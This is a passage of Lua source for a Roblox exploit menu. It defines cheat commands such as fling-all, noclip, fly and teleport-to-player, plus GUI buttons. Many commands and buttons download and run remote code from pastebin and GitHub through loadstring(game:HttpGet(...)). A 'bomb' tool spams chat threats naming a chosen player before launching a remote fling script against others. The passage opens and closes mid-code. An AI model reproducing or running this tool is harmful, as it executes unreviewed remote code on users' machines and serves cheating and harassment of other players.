for i,v in pairs(game.Lighting:GetDescendants()) do
if v:IsA("Sky") then
v:Destroy()
end
end
local sky = Instance.new("Sky", game.Lighting)
sky.SkyboxBk = "rbxassetid://161781263"
sky.SkyboxDn = "rbxassetid://161781258"
sky.SkyboxFt = "rbxassetid://161781261"
sky.SkyboxLf = "rbxassetid://161781267"
sky.SkyboxRt = "rbxassetid://161781268"
sky.SkyboxUp = "rbxassetid://161781260"
end)
ADD_COMMAND('flingall','flingall (needs collisions enabled)',{},
function()
loadstring(game:HttpGet('https://pastebin.com/raw/zqyDSUWX'))()
end)
ADD_COMMAND('ws', 'ws (walkspeed)', {},
function(ARGS, SPEAKER)
local newWalkSpeed = tonumber(ARGS[1])
if not newWalkSpeed or newWalkSpeed < 0 or newWalkSpeed > 100 then
return
end
local PCHAR = SPEAKER.Character
if PCHAR and PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.WalkSpeed = newWalkSpeed
end
end)
ADD_COMMAND('goto','goto [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = gPlayers[v].Character
if PCHAR then
SPEAKER.Character.HumanoidRootPart.CFrame = PCHAR.HumanoidRootPart.CFrame
end
end
end)
ADD_COMMAND('enableinv','enableinv',{},
function()
game.StarterGui:SetCoreGuiEnabled(2, true)
end)
ADD_COMMAND('time','time [int] (Client)',{},
function(ARGS, SPEAKER)
gLighting:SetMinutesAfterMidnight(tonumber(ARGS[1]) * 60)
end)
ADD_COMMAND('view','view [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = gPlayers[v].Character
gWorkspace.CurrentCamera.CameraSubject = PCHAR
end
end)
ADD_COMMAND('unview','unview',{},
function()
gWorkspace.CurrentCamera.CameraSubject = gPlayers.LocalPlayer.Character
end)
local DISCO = false
ADD_COMMAND('disco','disco (Client)',{},
function(ARGS, SPEAKER)
DISCO = true
spawn(function()
repeat wait(0.5) gLighting.Ambient = Color3.new(math.random(), math.random(), math.random()) until not DISCO
end)
end)
ADD_COMMAND('undisco','undisco (Client)',{},
function(ARGS, SPEAKER)
DISCO = false
end)
ADD_COMMAND('age','age [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
NOTIFY(gPlayers[v].Name .. ' | ' .. gPlayers[v].AccountAge, 255, 255, 255)
end
end)
ADD_COMMAND('day','day (Client)',{},
function(ARGS, SPEAKER)
gLighting.TimeOfDay = 14
end)
ADD_COMMAND('night','night (Client)',{},
function(ARGS, SPEAKER)
gLighting.TimeOfDay = 24
end)
ADD_COMMAND('noclip','noclip',{},
function()
loadstring(game:HttpGet("https://pastebin.com/raw/h3T4t3xs", true))()
end)
ADD_COMMAND('BallRoll','BallRoll',{},
function()
loadstring(game:HttpGet("https://pastebin.com/raw/A4DwbGzs", true))()
end)
ADD_COMMAND('f3xtroll','f3xtroll',{},
function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Scripts/main/f3xtrollhub", true))()
end)
ADD_COMMAND('f3x','f3x',{},
function()
loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)()
end)
ADD_COMMAND('clip','clip',{},
function()
NOCLIP = false
end)
ADD_COMMAND('fly','fly',{},
function()
NOTIFY('Toggle = z', 0, 255, 0)
wait()
loadstring(game:HttpGet("https://pastebin.com/raw/pv6YpV5D"))();
end)
ADD_COMMAND('prefix','prefix [string]',{},
function(ARGS, SPEAKER)
if ARGS[1] then
C_PREFIX = ARGS[1]
NOTIFY('Changed prefix to \'' .. ARGS[1] .. '\'', 255, 255, 255)
end
end)
ADD_COMMAND('version','version',{},
function(ARGS, SPEAKER)
NOTIFY('VERSION | ' .. VERSION, 255, 255, 255)
end)
ADD_COMMAND('fe','fe',{},
function(ARGS, SPEAKER)
spawn(function()
CHECK_FE()
end)
end)
ADD_COMMAND('changelog','changelog',{},
function(ARGS, SPEAKER)
CHECK_CHANGELOG()
end)
ADD_COMMAND('serverinfo','serverinfo',{'sinfo'},
function(ARGS, SPEAKER)
SERVER_INFO()
end)
ADD_COMMAND('cmds','cmds',{'commands'},
function(ARGS, SPEAKER)
LIST_COMMANDS()
end)
--[[
for i,v in pairs(COMMANDS) do
print (v.D)
end]]
-- / noclip
MOUSE.KeyDown:connect(function(key)
if key:byte() == 29 then
if not NOCLIP then
ECOMMAND('noclip')
elseif NOCLIP then
ECOMMAND('clip')
end
elseif key:byte() == 30 then
if not JESUSFLY then
ECOMMAND('jesusfly')
elseif JESUSFLY then
ECOMMAND('nojfly')
end
end
end)
-- / after loaded
function CHECK_FE()
if not gWorkspace.FilteringEnabled then
NOTIFY('Filtering is Disabled', 0, 255, 0)
else
NOTIFY('Filtering is Enabled', 255, 0, 0)
end
end
function UPDATE_CMDS(SEARCH_CMD)
local FOUND_CMDS = DATA.found_cmds
if gCoreGui:FindFirstChild('cmds_seth') then
local cmds_seth = gCoreGui.cmds_seth
for i,v in pairs(cmds_seth.MAIN.CMDs:GetChildren()) do
v:destroy()
end
for i,v in pairs(FOUND_CMDS:GetChildren()) do
v:destroy()
end
wait()
for i,v in pairs(COMMANDS) do
if string.match(v.D, string.lower(SEARCH_CMD)) then
local F = Instance.new('StringValue', FOUND_CMDS) F.Name = '' F.Value = v.D
end
end
wait()
local YSize = 25
for i,v in pairs(FOUND_CMDS:GetChildren()) do
local POS = ((i * YSize) - YSize)
local cloneEX = cmds_seth.MAIN.Example:Clone()
cloneEX.Parent = cmds_seth.MAIN.CMDs
cloneEX.Visible = true
cloneEX.Position = UDim2.new(0, 5, 0, POS + 5)
cloneEX.Text = ' - ' .. v.Value
cmds_seth.MAIN.CMDs.CanvasSize = UDim2.new(0, 0, 0, POS + 30)
end
end
end
function LIST_COMMANDS()
if gCoreGui:FindFirstChild('cmds_seth') then gCoreGui.cmds_seth:destroy() end
local cloneCMDs = DATA.guis.cmds_seth:Clone()
local searchCMDs = cloneCMDs.MAIN.Search
cloneCMDs.MAIN.Header.Text = ' ' .. #COMMANDS .. ' commands'
cloneCMDs.Parent = gCoreGui
cloneCMDs.MAIN.Exit.MouseButton1Down:connect(function()
cloneCMDs:destroy()
end)
cloneCMDs.MAIN.MM.MouseButton1Down:connect(function()
if cloneCMDs.MAIN.CMDs.Visible then
cloneCMDs.MAIN.CMDs.Visible = false
elseif not cloneCMDs.MAIN.CMDs.Visible then
cloneCMDs.MAIN.CMDs.Visible = true
end
end)
local function DISPLAY_CMDS()
for i,v in pairs(COMMANDS) do
local YSize = 25
local POS = ((i * YSize) - YSize)
local cloneEX = cloneCMDs.MAIN.Example:Clone()
cloneEX.Parent = cloneCMDs.MAIN.CMDs
cloneEX.Visible = true
cloneEX.Position = UDim2.new(0, 5, 0, POS + 5)
cloneEX.Text = ' - ' .. v.D
cloneCMDs.MAIN.CMDs.CanvasSize = UDim2.new(0, 0, 0, POS + 30)
end
end
DISPLAY_CMDS()
searchCMDs.FocusLost:connect(function()
if searchCMDs.Text then
UPDATE_CMDS(searchCMDs.Text)
searchCMDs.Text = ' search commands'
end
end)
end
local CAN_CHECK = true
function CHECK_CHANGELOG()
spawn(function()
if CAN_CHECK then
CAN_CHECK = false
local changelogClone = DATA.guis.changelog_seth:Clone()
changelogClone.MAIN.changelog.Text = CHANGELOG
changelogClone.Parent = gCoreGui
wait()
changelogClone.MAIN:TweenPosition(UDim2.new(1, -410, 1, -210), 'InOut', 'Quad', 0.5, false)
wait(10)
changelogClone.MAIN:TweenPosition(UDim2.new(1, -410, 1, 0), 'InOut', 'Quad', 0.5, false)
wait(1)
changelogClone:destroy()
CAN_CHECK = true
end
end)
end
CHECK_CHANGELOG()
CMDbar:TweenPosition(UDim2.new(0, 0, 1, -50), 'InOut', 'Quad', 0.5, true)
CMDbar.Parent['']:TweenPosition(UDim2.new(0, 0, 1, -30), 'InOut', 'Quad', 0.5, true)
CMDbar.FocusLost:connect(function(enterpressed)
if enterpressed and CMDbar.Text ~= '' then
pcall(function()
ECOMMAND(CMDbar.Text, LP)
end)
end
CMDbar:TweenPosition(UDim2.new(0, -200, 1, -50), 'InOut', 'Quad', 0.5, true)
end)
MOUSE.KeyDown:connect(function(Key)
if Key:byte() == 59 then
CMDbar:TweenPosition(UDim2.new(0, 0, 1, -50), 'InOut', 'Quad', 0.5, true)
CMDbar:CaptureFocus()
end
end)
LOAD_SETH()
end)
end;
task.spawn(C_b);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_d()
local script = G2L["d"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"))()
end)
end;
task.spawn(C_d);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_f()
local script = G2L["f"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
local lp = game:GetService("Players").LocalPlayer
local function gplr(String)
local Found = {}
local strl = String:lower()
for i, v in pairs(game:GetService("Players"):GetPlayers()) do
if strl == "all" then
table.insert(Found, v)
elseif strl == "others" and v.Name ~= lp.Name then
table.insert(Found, v)
elseif strl == "me" and v.Name == lp.Name then
table.insert(Found, v)
elseif v.Name:lower():sub(1, #String) == String:lower() then
table.insert(Found, v)
end
end
return Found
end
local function notif(str, dur)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "bomb gui",
Text = str,
Icon = "rbxassetid://2005276185",
Duration = dur or 3
})
end
-- GUI creation
local h = Instance.new("ScreenGui")
local Main = Instance.new("ImageLabel")
local Top = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local TextBox = Instance.new("TextBox")
local TextButton = Instance.new("TextButton")
h.Name = "h"
h.Parent = game:GetService("CoreGui")
h.ResetOnSpawn = false
Main.Name = "Main"
Main.Parent = h
Main.Active = true
Main.Draggable = true
Main.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Main.BorderSizePixel = 0
Main.Position = UDim2.new(0.174545452, 0, 0.459574461, 0)
Main.Size = UDim2.new(0, 454, 0, 218)
Main.Image = ""
Top.Name = "Top"
Top.Parent = Main
Top.BackgroundColor3 = Color3.fromRGB(57, 57, 57)
Top.BorderSizePixel = 0
Top.Size = UDim2.new(0, 454, 0, 44)
Title.Name = "Title"
Title.Parent = Top
Title.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
Title.BorderSizePixel = 0
Title.Position = UDim2.new(0, 0, 0.295454562, 0)
Title.Size = UDim2.new(0, 454, 0, 30)
Title.Font = Enum.Font.SourceSans
Title.Text = "FE Bomb Gui (edited Yeet Gui)"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextScaled = true
Title.TextSize = 14.000
Title.TextWrapped = true
TextBox.Parent = Main
TextBox.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
TextBox.BorderSizePixel = 0
TextBox.Position = UDim2.new(0.0704845786, 0, 0.270642221, 0)
TextBox.Size = UDim2.new(0, 388, 0, 62)
TextBox.Font = Enum.Font.SourceSans
TextBox.PlaceholderText = "Who do I plant bomb on (can be shortened)"
TextBox.Text = ""
TextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox.TextScaled = true
TextBox.TextSize = 14.000
TextBox.TextWrapped = true
TextButton.Parent = Main
TextButton.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
TextButton.BorderSizePixel = 0
TextButton.Position = UDim2.new(0.10352423, 0, 0.596330225, 0)
TextButton.Size = UDim2.new(0, 359, 0, 50)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "Plant"
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextScaled = true
TextButton.TextSize = 14.000
TextButton.TextWrapped = true
local function triggerNuke(targetPlayer)
if targetPlayer then
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("!!!A NUKE HAS BEEN PLACED ON "..targetPlayer.DisplayName.." KILLING THEM WILL GET EVERYONE DEAD!!!", "ALL")
repeat
task.wait()
until targetPlayer.Character and targetPlayer.Character:FindFirstChildOfClass("Humanoid") and targetPlayer.Character:FindFirstChildOfClass("Humanoid").Health < 1
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(targetPlayer.DisplayName.." IS DEAD NUKE LAUNCHING!!!", "ALL")
wait(1.5)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 3", "ALL")
wait(1.5)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 2", "ALL")
wait(1.5)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 1", "ALL")
wait(3)
loadstring(game:HttpGet("https://pastebin.com/raw/zqyDSUWX"))()
else
warn("Player not found, did you use their username?")
end
end
TextButton.MouseButton1Click:Connect(function()
local Targets = gplr(TextBox.Text)
if #Targets > 0 then
local Target = Targets[1]
triggerNuke(Target)
else
notif("Player not found", 3)
end
end)
end)
end;
task.spawn(C_f);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_11()
local script = G2L["11"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/XNEOFF/FlyGuiV3/main/FlyGuiV3.txt"))()
end)
end;
task.spawn(C_11);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_13()
local script = G2L["13"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/alexx1212/fedoratoomutch/main/toomucth'))()
end)
end;
task.spawn(C_13);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_15()
local script = G2L["15"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local Energize = Instance.new("ScreenGui")
local MainFrame = Instance.new("Frame")
local GuiBottomFrame = Instance.new("Frame")
local Credits = Instance.new("TextLabel")
local GuiTopFrame = Instance.new("Frame")
local CloseGUI = Instance.new("TextButton")
local Title = Instance.new("TextLabel")
local CheckR = Instance.new("TextLabel")
local ScrollingFrame = Instance.new("ScrollingFrame")
local GlitchLevitate = Instance.new("TextButton")
local FullSwing = Instance.new("TextButton")
local MoonDance = Instance.new("TextButton")
local FullPunch = Instance.new("TextButton")
local FloorFaint = Instance.new("TextButton")
local Crouch = Instance.new("TextButton")
local SpinDance = Instance.new("TextButton")
local JumpingJacks = Instance.new("TextButton")
local ArmDetach = Instance.new("TextButton")
local MegaInsane = Instance.new("TextButton")
local WeirdMove = Instance.new("TextButton")
local DinoWalk = Instance.new("TextButton")
local FloorCrawl = Instance.new("TextButton")
local Spinner = Instance.new("TextButton")
local Faint = Instance.new("TextButton")
local Levitate = Instance.new("TextButton")
local LoopHead = Instance.new("TextButton")
local HeadThrow = Instance.new("TextButton")
local CloneIllusion = Instance.new("TextButton")
local Dab = Instance.new("TextButton")
local BarrelRoll = Instance.new("TextButton")
local Insane = Instance.new("TextButton")
local SwordSlam = Instance.new("TextButton")
local MovingDance = Instance.new("TextButton")
local ArmTurbine = Instance.new("TextButton")
local SuperPunch = Instance.new("TextButton")
local Scared = Instance.new("TextButton")
local LoopSlam = Instance.new("TextButton")
local HeroJump = Instance.new("TextButton")
local SpinDance2 = Instance.new("TextButton")
local SwordSlice = Instance.new("TextButton")
local FloatingHead = Instance.new("TextButton")
local InsaneArms = Instance.new("TextButton")
local SuperFaint = Instance.new("TextButton")
local FloatSit = Instance.new("TextButton")
local BowDown = Instance.new("TextButton")
local ScrollingFrameR15 = Instance.new("ScrollingFrame")
local FloatSlash = Instance.new("TextButton")
local ArmsOut = Instance.new("TextButton")
local DownSlash = Instance.new("TextButton")
local R15Spinner = Instance.new("TextButton")
local WeirdZombie = Instance.new("TextButton")
local CrazySlash = Instance.new("TextButton")
local Pull = Instance.new("TextButton")
local Open = Instance.new("TextButton")
local CircleArm = Instance.new("TextButton")
local Bend = Instance.new("TextButton")
local RotateSlash = Instance.new("TextButton")
local FlingArms = Instance.new("TextButton")
local SideFrame = Instance.new("Frame")
local OpenGUI = Instance.new("TextButton")
local SideFrameTitle = Instance.new("TextLabel")
--Properties:
Energize.Name = "Energize"
Energize.Parent = game.CoreGui
Energize.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
MainFrame.Name = "MainFrame"
MainFrame.Active = true
MainFrame.Draggable = true
MainFrame.Parent = Energize
MainFrame.BackgroundColor3 = Color3.new(0.0313726, 0.0313726, 0.0313726)
MainFrame.BackgroundTransparency = 0.15000000596046
MainFrame.Position = UDim2.new(0.502199888, 0, 0.552243114, 0)
MainFrame.Size = UDim2.new(0, 426, 0, 258)
GuiBottomFrame.Name = "Gui BottomFrame"
GuiBottomFrame.Parent = MainFrame
GuiBottomFrame.BackgroundColor3 = Color3.new(1, 1, 1)
GuiBottomFrame.BackgroundTransparency = 1
GuiBottomFrame.Position = UDim2.new(0, 0, 0.901309371, 0)
GuiBottomFrame.Size = UDim2.new(0, 426, 0, 25)
Credits.Name = "Credits"
Credits.Parent = GuiBottomFrame
Credits.BackgroundColor3 = Color3.new(0, 0, 0)
Credits.BackgroundTransparency = 1
Credits.Size = UDim2.new(0, 426, 0, 25)
Credits.Font = Enum.Font.SourceSansSemibold
Credits.Text = "Subscribe to A2b scripts (the script is not mine)"
Credits.TextColor3 = Color3.new(1, 1, 1)
Credits.TextSize = 17
GuiTopFrame.Name = "Gui TopFrame"
GuiTopFrame.Parent = MainFrame
GuiTopFrame.BackgroundColor3 = Color3.new(1, 1, 1)
GuiTopFrame.BackgroundTransparency = 1
GuiTopFrame.Position = UDim2.new(0, 0, -0.00178042857, 0)
GuiTopFrame.Size = UDim2.new(0, 426, 0, 25)
CloseGUI.Name = "CloseGUI"
CloseGUI.Parent = GuiTopFrame
CloseGUI.BackgroundColor3 = Color3.new(0, 0, 0)
CloseGUI.BackgroundTransparency = 0.15000000596046
CloseGUI.BorderSizePixel = 0
CloseGUI.Position = UDim2.new(0.967136145, 0, 0, 0)
CloseGUI.Size = UDim2.new(0, 15, 0, 15)
CloseGUI.Font = Enum.Font.SourceSansSemibold
CloseGUI.Text = "X"
CloseGUI.TextColor3 = Color3.new(1, 1, 1)
CloseGUI.TextSize = 14
Title.Name = "Title"
Title.Parent = GuiTopFrame
Title.BackgroundColor3 = Color3.new(1, 1, 1)
Title.BackgroundTransparency = 1
Title.Position = UDim2.new(0.653472185, 0, 0, 0)
Title.Size = UDim2.new(0, 105, 0, 25)
Title.Font = Enum.Font.SourceSansSemibold
Title.Text = "FE animations"
Title.TextColor3 = Color3.new(1, 1, 1)
Title.TextSize = 17
CheckR.Name = "CheckR"
CheckR.Parent = GuiTopFrame
CheckR.BackgroundColor3 = Color3.new(1, 1, 1)
CheckR.BackgroundTransparency = 1
CheckR.Position = UDim2.new(0.0234741792, 0, 0, 0)
CheckR.Size = UDim2.new(0, 194, 0, 24)
CheckR.Font = Enum.Font.SourceSansSemibold
CheckR.Text = "Text"
CheckR.TextColor3 = Color3.new(1, 1, 1)
CheckR.TextSize = 17
CheckR.TextXAlignment = Enum.TextXAlignment.Left
ScrollingFrame.Parent = MainFrame
ScrollingFrame.BackgroundColor3 = Color3.new(0, 0, 0)
ScrollingFrame.BackgroundTransparency = 0.60000002384186
ScrollingFrame.Position = UDim2.new(0, 0, 0.0951187983, 0)
ScrollingFrame.Size = UDim2.new(0, 426, 0, 207)
ScrollingFrame.CanvasSize = UDim2.new(0, 0, 1.29999995, 0)
ScrollingFrame.ScrollBarThickness = 10
GlitchLevitate.Name = "GlitchLevitate"
GlitchLevitate.Parent = ScrollingFrame
GlitchLevitate.BackgroundColor3 = Color3.new(0, 0, 0)
GlitchLevitate.BackgroundTransparency = 0.30000001192093
GlitchLevitate.Position = UDim2.new(0.0469483584, 0, 0.0273178034, 0)
GlitchLevitate.Size = UDim2.new(0, 90, 0, 30)
GlitchLevitate.Font = Enum.Font.SourceSansSemibold
GlitchLevitate.Text = "Glitch Levitate"
GlitchLevitate.TextColor3 = Color3.new(1, 1, 1)
GlitchLevitate.TextSize = 15
FullSwing.Name = "FullSwing"
FullSwing.Parent = ScrollingFrame
FullSwing.BackgroundColor3 = Color3.new(0, 0, 0)
FullSwing.BackgroundTransparency = 0.30000001192093
FullSwing.Position = UDim2.new(0.267605633, 0, 0.0273178034, 0)
FullSwing.Size = UDim2.new(0, 90, 0, 30)
FullSwing.Font = Enum.Font.SourceSansSemibold
FullSwing.Text = "Full Swing"
FullSwing.TextColor3 = Color3.new(1, 1, 1)
FullSwing.TextSize = 15
MoonDance.Name = "MoonDance"
MoonDance.Parent = ScrollingFrame
MoonDance.BackgroundColor3 = Color3.new(0, 0, 0)
MoonDance.BackgroundTransparency = 0.30000001192093
MoonDance.Position = UDim2.new(0.713614941, 0, 0.0273178034, 0)
MoonDance.Size = UDim2.new(0, 90, 0, 30)
MoonDance.Font = Enum.Font.SourceSansSemibold
MoonDance.Text = "Moon Dance"
MoonDance.TextColor3 = Color3.new(1, 1, 1)
MoonDance.TextSize = 15
FullPunch.Name = "FullPunch"
FullPunch.Parent = ScrollingFrame
FullPunch.BackgroundColor3 = Color3.new(0, 0, 0)
FullPunch.BackgroundTransparency = 0.30000001192093
FullPunch.Position = UDim2.new(0.492957741, 0, 0.0273178034, 0)
FullPunch.Size = UDim2.new(0, 90, 0, 30)
FullPunch.Font = Enum.Font.SourceSansSemibold
FullPunch.Text = "Full Punch"
FullPunch.TextColor3 = Color3.new(1, 1, 1)
FullPunch.TextSize = 15
FloorFaint.Name = "FloorFaint"
FloorFaint.Parent = ScrollingFrame
FloorFaint.BackgroundColor3 = Color3.new(0, 0, 0)
FloorFaint.BackgroundTransparency = 0.30000001192093
FloorFaint.Position = UDim2.new(0.0469483584, 0, 0.134652346, 0)
FloorFaint.Size = UDim2.new(0, 90, 0, 30)
FloorFaint.Font = Enum.Font.SourceSansSemibold
FloorFaint.Text = "Floor Faint"
FloorFaint.TextColor3 = Color3.new(1, 1, 1)
FloorFaint.TextSize = 15
Crouch.Name = "Crouch"
Crouch.Parent = ScrollingFrame
Crouch.BackgroundColor3 = Color3.new(0, 0, 0)
Crouch.BackgroundTransparency = 0.30000001192093
Crouch.Position = UDim2.new(0.267605633, 0, 0.134652346, 0)
Crouch.Size = UDim2.new(0, 90, 0, 30)
Crouch.Font = Enum.Font.SourceSansSemibold
Crouch.Text = "Crouch"
Crouch.TextColor3 = Color3.new(1, 1, 1)
Crouch.TextSize = 15
SpinDance.Name = "SpinDance"
SpinDance.Parent = ScrollingFrame
SpinDance.BackgroundColor3 = Color3.new(0, 0, 0)
SpinDance.BackgroundTransparency = 0.30000001192093
SpinDance.Position = UDim2.new(0.713614941, 0, 0.134652346, 0)
SpinDance.Size = UDim2.new(0, 90, 0, 30)
SpinDance.Font = Enum.Font.SourceSansSemibold
SpinDance.Text = "Spin Dance"
SpinDance.TextColor3 = Color3.new(1, 1, 1)
SpinDance.TextSize = 15
JumpingJacks.Name = "JumpingJacks"
JumpingJacks.Parent = ScrollingFrame
JumpingJacks.BackgroundColor3 = Color3.new(0, 0, 0)
JumpingJacks.BackgroundTransparency = 0.30000001192093
JumpingJacks.Position = UDim2.new(0.492957741, 0, 0.134652346, 0)
JumpingJacks.Size = UDim2.new(0, 90, 0, 30)
JumpingJacks.Font = Enum.Font.SourceSansSemibold
JumpingJacks.Text = "Jumping Jacks"
JumpingJacks.TextColor3 = Color3.new(1, 1, 1)
JumpingJacks.TextSize = 15
ArmDetach.Name = "ArmDetach"
ArmDetach.Parent = ScrollingFrame
ArmDetach.BackgroundColor3 = Color3.new(0, 0, 0)
ArmDetach.BackgroundTransparency = 0.30000001192093
ArmDetach.Position = UDim2.new(0.0469483584, 0, 0.241986871, 0)
ArmDetach.Size = UDim2.new(0, 90, 0, 30)
ArmDetach.Font = Enum.Font.SourceSansSemibold
ArmDetach.Text = "Arm Detach"
ArmDetach.TextColor3 = Color3.new(1, 1, 1)
ArmDetach.TextSize = 15
MegaInsane.Name = "MegaInsane"
MegaInsane.Parent = ScrollingFrame
MegaInsane.BackgroundColor3 = Color3.new(0, 0, 0)
MegaInsane.BackgroundTransparency = 0.30000001192093
MegaInsane.Position = UDim2.new(0.267605633, 0, 0.241986871, 0)
MegaInsane.Size = UDim2.new(0, 90, 0, 30)
MegaInsane.Font = Enum.Font.SourceSansSemibold
MegaInsane.Text = "Mega Insane"
MegaInsane.TextColor3 = Color3.new(1, 1, 1)
MegaInsane.TextSize = 15
WeirdMove.Name = "WeirdMove"
WeirdMove.Parent = ScrollingFrame
WeirdMove.BackgroundColor3 = Color3.new(0, 0, 0)
WeirdMove.BackgroundTransparency = 0.30000001192093
WeirdMove.Position = UDim2.new(0.713614941, 0, 0.241986871, 0)
WeirdMove.Size = UDim2.new(0, 90, 0, 30)
WeirdMove.Font = Enum.Font.SourceSansSemibold
WeirdMove.Text = "Weird Move"
WeirdMove.TextColor3 = Color3.new(1, 1, 1)
WeirdMove.TextSize = 15
DinoWalk.Name = "DinoWalk"
DinoWalk.Parent = ScrollingFrame
DinoWalk.BackgroundColor3 = Color3.new(0, 0, 0)
DinoWalk.BackgroundTransparency = 0.30000001192093
DinoWalk.Position = UDim2.new(0.492957741, 0, 0.241986871, 0)
DinoWalk.Size = UDim2.new(0, 90, 0, 30)
DinoWalk.Font = Enum.Font.SourceSansSemibold
DinoWalk.Text = "Dino Walk"
DinoWalk.TextColor3 = Color3.new(1, 1, 1)
DinoWalk.TextSize = 15
FloorCrawl.Name = "FloorCrawl"
FloorCrawl.Parent = ScrollingFrame
FloorCrawl.BackgroundColor3 = Color3.new(0, 0, 0)
FloorCrawl.BackgroundTransparency = 0.30000001192093
FloorCrawl.Position = UDim2.new(0.492957741, 0, 0.349321395, 0)
FloorCrawl.Size = UDim2.new(0, 90, 0, 30)
FloorCrawl.Font = Enum.Font.SourceSansSemibold
FloorCrawl.Text = "Floor Crawl"
FloorCrawl.TextColor3 = Color3.new(1, 1, 1)
FloorCrawl.TextSize = 15
Spinner.Name = "Spinner"
Spinner.Parent = ScrollingFrame
Spinner.BackgroundColor3 = Color3.new(0, 0, 0)
Spinner.BackgroundTransparency = 0.30000001192093
Spinner.Position = UDim2.new(0.267605633, 0, 0.349321395, 0)
Spinner.Size = UDim2.new(0, 90, 0, 30)
Spinner.Font = Enum.Font.SourceSansSemibold
Spinner.Text = "Spinner"
Spinner.TextColor3 = Color3.new(1, 1, 1)
Spinner.TextSize = 15
Faint.Name = "Faint"
Faint.Parent = ScrollingFrame
Faint.BackgroundColor3 = Color3.new(0, 0, 0)
Faint.BackgroundTransparency = 0.30000001192093
Faint.Position = UDim2.new(0.713614941, 0, 0.349321395, 0)
Faint.Size = UDim2.new(0, 90, 0, 30)
Faint.Font = Enum.Font.SourceSansSemibold
Faint.Text = "Faint"
Faint.TextColor3 = Color3.new(1, 1, 1)
Faint.TextSize = 15
Levitate.Name = "Levitate"
Levitate.Parent = ScrollingFrame
Levitate.BackgroundColor3 = Color3.new(0, 0, 0)
Levitate.BackgroundTransparency = 0.30000001192093
Levitate.Position = UDim2.new(0.0469483584, 0, 0.349321395, 0)
Levitate.Size = UDim2.new(0, 90, 0, 30)
Levitate.Font = Enum.Font.SourceSansSemibold
Levitate.Text = "Levitate"
Levitate.TextColor3 = Color3.new(1, 1, 1)
Levitate.TextSize = 15
LoopHead.Name = "LoopHead"
LoopHead.Parent = ScrollingFrame
LoopHead.BackgroundColor3 = Color3.new(0, 0, 0)
LoopHead.BackgroundTransparency = 0.30000001192093
LoopHead.Position = UDim2.new(0.0469483584, 0, 0.456655949, 0)
LoopHead.Size = UDim2.new(0, 90, 0, 30)
LoopHead.Font = Enum.Font.SourceSansSemibold
LoopHead.Text = "Loop Head"
LoopHead.TextColor3 = Color3.new(1, 1, 1)
LoopHead.TextSize = 15
HeadThrow.Name = "HeadThrow"
HeadThrow.Parent = ScrollingFrame
HeadThrow.BackgroundColor3 = Color3.new(0, 0, 0)
HeadThrow.BackgroundTransparency = 0.30000001192093
HeadThrow.Position = UDim2.new(0.267605633, 0, 0.456655949, 0)
HeadThrow.Size = UDim2.new(0, 90, 0, 30)
HeadThrow.Font = Enum.Font.SourceSansSemibold
HeadThrow.Text = "Head Throw"
HeadThrow.TextColor3 = Color3.new(1, 1, 1)
HeadThrow.TextSize = 15
CloneIllusion.Name = "CloneIllusion"
CloneIllusion.Parent = ScrollingFrame
CloneIllusion.BackgroundColor3 = Color3.new(0, 0, 0)
CloneIllusion.BackgroundTransparency = 0.30000001192093
CloneIllusion.Position = UDim2.new(0.713614941, 0, 0.456655949, 0)
CloneIllusion.Size = UDim2.new(0, 90, 0, 30)
CloneIllusion.Font = Enum.Font.SourceSansSemibold
CloneIllusion.Text = "Clone Illusion"
CloneIllusion.TextColor3 = Color3.new(1, 1, 1)
CloneIllusion.TextSize = 15
Dab.Name = "Dab"
Dab.Parent = ScrollingFrame
Dab.BackgroundColor3 = Color3.new(0, 0, 0)
Dab.BackgroundTransparency = 0.30000001192093
Dab.Position = UDim2.new(0.492957741, 0, 0.456655949, 0)
Dab.Size = UDim2.new(0, 90, 0, 30)
Dab.Font = Enum.Font.SourceSansSemibold
Dab.Text = "Dab"
Dab.TextColor3 = Color3.new(1, 1, 1)
